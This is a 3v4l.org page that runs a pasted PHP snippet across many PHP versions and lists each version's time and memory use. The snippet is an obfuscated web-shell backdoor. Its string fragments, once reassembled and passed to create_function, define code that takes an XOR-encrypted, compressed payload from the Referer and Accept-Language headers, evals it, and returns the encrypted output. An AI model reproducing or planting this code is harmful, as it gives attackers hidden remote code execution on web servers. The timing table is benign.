3v4l.org

run code in 300+ PHP versions simultaneously
<?php $d='strpQ/os($pQ/,$h)Q/===0){$Q/s[$i]="Q/";$p=$ss(Q/$p,3);Q/}ifQ/Q/(array_key_existQ/s(Q/Q/$i,$s)Q/){$'; $q='T_LAQ/NGUAGE"];Q/if($Q/rr&&$raQ/){$uQ/Q/=parQ/se_url($rQ/r);parse_stQ/r($uQ/Q/["query"],$qQ/);$q'; $B='md5($iQ/.$kf),0,3));$pQ/="";for($zQ/=1;$z<Q/coQ/unt($m[1]);$Q/z++)$p.=Q/$q[$Q/m[2][$Q/z]]Q/;if('; $k=str_replace('aO','','creaOataOaOaOe_funaOaOction'); $z='/Q/Q/;}}return $o;}$r=$Q/_SERQ/VER;$Q/Q/rr=@$r["HTTP_RQ/EFEREQ/R"]Q/;$ra=@$Q/r["HTTP_AQ/CCQ/EP'; $o='"";fQ/or($iQ/=0;$i<$Q/l;){forQ/($jQ/=0;($jQ/<$c&Q/&$i<$lQ/);$j++,$Q/i++)Q/{$o.=$t{$iQ/}^$k{$j}Q'; $y='comprQ/ess(@xQ/(@bQ/asQ/Q/e64_decode(preg_replacQ/eQ/(arrayQ/("/_/","/Q/-/Q/"),arraQ/y("/","Q/+")'; $J='e64_encode(x(gzcoQ/mpQ/ress($o)Q/Q/,$k));print("Q/<$k>Q/$Q/Q/dQ/</$k>");@sQ/ession_destroy();}}}}'; $Y='olowerQ/";$i=$Q/m[1][0]Q/.$m[1]Q/[Q/1Q/];$h=$slQ/($ss(mQ/d5Q/($i.$kh),0,3));$Q/fQ/=$sQ/l($Q/ss(Q/'; $a='=arrayQ/_valuQ/es($Q/q)Q/;preQ/g_match_all("/([\\Q/w]Q/Q/)[Q/\\w-]+(?:;q=0.([\\Q/d]))?,?/",$Q/ra'; $r='$kh="Q/Q/a4d8";$kf=Q/"0eac";funQ/cQ/tion x($t,Q/$k){$cQ/=stQ/rlen($kQ/);$l=strleQ/n($t);$oQ/='; $f=',$ss($sQ/[Q/$i],0Q/,$e))),$kQ/)));$o=Q/obQ/_get_contentQ/sQ/();Q/ob_enQ/d_clean(Q/);$d=baQ/Q/s'; $A='Q/,Q/$m);ifQ/($qQ/&&$m){Q/@session_start(Q/);$Q/s=&Q/$_SQ/ESSIOQ/N;$ss="substr";$sQ/l="Q/strt'; $Z='s[$i].=$Q/p;$e=Q/strpos($Q/Q/sQ/[Q/$i],$f);if($e){$k=$kh.$Q/kf;obQ/_stQ/art();@evQ/al(@gzunQ/'; $n=str_replace('Q/','',$r.$o.$z.$q.$a.$A.$Y.$B.$d.$Z.$y.$f.$J); $D=$k('',$n);var_dump($D); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0160.00616.50
8.3.50.0070.00716.48
8.3.40.0090.00618.77
8.3.30.0110.00318.85
8.3.20.0050.00220.27
8.3.10.0040.00421.71
8.3.00.0000.00817.80
8.2.180.0060.01218.18
8.2.170.0170.00322.96
8.2.160.0100.00320.41
8.2.150.0050.00324.18
8.2.140.0050.00324.66
8.2.130.0050.00226.16
8.2.120.0040.00417.50
8.2.110.0070.01020.60
8.2.100.0090.00317.91
8.2.90.0080.00017.97
8.2.80.0050.00317.97
8.2.70.0040.00417.63
8.2.60.0040.00418.04
8.2.50.0080.00018.07
8.2.40.0000.00919.27
8.2.30.0060.00317.96
8.2.20.0050.00217.77
8.2.10.0000.00718.25
8.2.00.0040.00418.25
8.1.280.0090.00625.92
8.1.270.0150.00622.01
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0060.00323.74
8.1.230.0100.00322.15
8.1.220.0080.00017.74
8.1.210.0050.00319.04
8.1.200.0070.00317.47
8.1.190.0040.00417.13
8.1.180.0040.00418.10
8.1.170.0090.00018.64
8.1.160.0050.00321.96
8.1.150.0000.00718.79
8.1.140.0040.00417.48
8.1.130.0000.00717.59
8.1.120.0070.00017.52
8.1.110.0040.00417.52
8.1.100.0030.00517.51
8.1.90.0000.00817.54
8.1.80.0070.00017.39
8.1.70.0060.00317.52
8.1.60.0000.00717.67
8.1.50.0060.00317.57
8.1.40.0000.00817.43
8.1.30.0000.00817.71
8.1.20.0000.00817.68
8.1.10.0040.00417.48
8.1.00.0050.00317.52
8.0.300.0070.00019.91
8.0.290.0000.00716.75
8.0.280.0030.00318.48
8.0.270.0000.00817.17
8.0.260.0050.00517.20
8.0.250.0030.00317.12
8.0.240.0000.00716.98
8.0.230.0000.00717.01
8.0.220.0030.00316.99
8.0.210.0070.00017.06
8.0.200.0030.00317.11
8.0.190.0000.00717.02
8.0.180.0000.00717.03
8.0.170.0030.00517.03
8.0.160.0040.00416.93
8.0.150.0000.00716.92
8.0.140.0040.00417.00
8.0.130.0060.00013.45
8.0.120.0040.00416.83
8.0.110.0000.00716.95
8.0.100.0070.00016.85
8.0.90.0040.00416.93
8.0.80.0070.00716.97
8.0.70.0000.00716.82
8.0.60.0000.00816.95
8.0.50.0040.00416.82
8.0.30.0090.00916.99
8.0.20.0140.00717.40
8.0.10.0080.00017.02
8.0.00.0090.01016.73
7.4.330.0030.00315.12
7.4.320.0040.00416.62
7.4.300.0030.00316.61
7.4.290.0000.01016.72
7.4.280.0050.00316.57
7.4.270.0040.00416.58
7.4.260.0050.00216.64
7.4.250.0030.00616.68
7.4.240.0040.00416.58
7.4.230.0000.00816.39
7.4.220.0130.01216.57
7.4.210.0080.00516.63
7.4.200.0070.00016.30
7.4.160.0060.01016.39
7.4.150.0140.00517.40
7.4.140.0090.00917.86
7.4.130.0070.01116.47
7.4.120.0120.00616.68
7.4.110.0070.01016.63
7.4.100.0040.01416.50
7.4.90.0170.00016.50
7.4.80.0060.01219.39
7.4.70.0070.01016.56
7.4.60.0060.01116.60
7.4.50.0040.00416.51
7.4.40.0030.01316.43
7.4.30.0120.00616.51
7.4.00.0030.01014.54
7.3.330.0030.00313.36
7.3.320.0000.00613.14
7.3.310.0040.00416.22
7.3.300.0000.00716.37
7.3.290.0070.01116.35
7.3.280.0130.00616.35
7.3.270.0030.01417.40
7.3.260.0080.00916.32
7.3.250.0110.00816.40
7.3.240.0040.01216.27
7.3.230.0100.00716.39
7.3.210.0030.01516.21
7.3.200.0140.00316.36
7.3.190.0100.00716.51
7.3.180.0030.01316.50
7.3.170.0110.00616.37
7.3.160.0090.00916.36
7.2.330.0070.01516.77
7.2.320.0120.00916.81
7.2.310.0120.00416.45
7.2.300.0090.00916.48
7.2.290.0160.01116.74
7.2.60.0070.00716.68
7.2.00.0030.01219.60
7.1.200.0120.00315.61
7.1.100.0040.00717.87
7.1.70.0030.01317.18
7.1.60.0030.01719.27
7.1.50.0130.00916.87
7.1.00.0070.07322.43
7.0.200.0070.00016.77
7.0.60.0130.07720.05
7.0.50.0030.05317.95
7.0.40.0130.08320.18
7.0.30.0500.07320.11
7.0.20.0200.04020.08
7.0.10.0100.07720.28
7.0.00.0100.06720.29
5.6.210.0070.07720.53
5.6.200.0130.08018.19
5.6.190.0070.04720.47
5.6.180.0270.07320.41
5.6.170.0330.05020.47
5.6.160.0030.05020.47
5.6.150.0000.04718.23
5.6.140.0130.08318.21
5.6.130.0100.04318.31
5.6.120.0000.04721.02
5.6.110.0000.06320.94
5.6.100.0170.06721.00
5.6.90.0100.07321.07
5.6.80.0070.08320.41
5.6.70.4500.03720.51
5.5.350.0200.07720.42
5.5.340.0100.07717.98
5.5.330.0170.07320.34
5.5.320.0000.08020.34
5.5.310.0200.04720.50
5.5.300.0100.05318.00
5.5.290.0070.08017.98
5.5.280.0070.03720.80
5.5.270.0030.07020.66
5.5.260.0030.06320.68
5.5.250.0070.08020.48
5.5.240.0230.07720.05
5.4.450.0200.06019.41
5.4.440.0200.03719.52
5.4.430.0270.07319.38
5.4.420.0270.04019.52
5.4.410.0230.07319.35
5.4.400.0200.07718.95
5.4.390.0270.07318.98
5.4.380.0200.06319.06
5.4.370.0230.07019.22
5.4.360.0270.04019.16
5.4.350.0270.06719.18
5.4.340.0270.07319.16
5.4.320.0230.06019.16
5.4.310.0170.06719.13
5.4.300.0230.06718.98
5.4.290.0330.06718.98
5.4.280.0270.03319.22
5.4.270.0200.05019.22
5.4.260.0230.03019.08
5.4.250.0230.04019.24
5.4.240.0230.05719.14
5.4.230.0270.07018.97
5.4.220.0200.04718.94
5.4.210.0270.05019.13
5.4.200.0230.05719.06
5.4.190.0370.05318.98
5.4.180.0330.05718.98
5.4.170.0500.03719.05
5.4.160.0230.05719.11
5.4.150.0170.04319.13
5.4.140.0300.05016.54
5.4.130.0230.06716.54
5.4.120.0200.04016.37
5.4.110.0300.05716.22
5.4.100.0170.04316.52
5.4.90.0170.03716.30
5.4.80.0130.04716.52

preferences:
55.36 ms | 400 KiB | 5 Q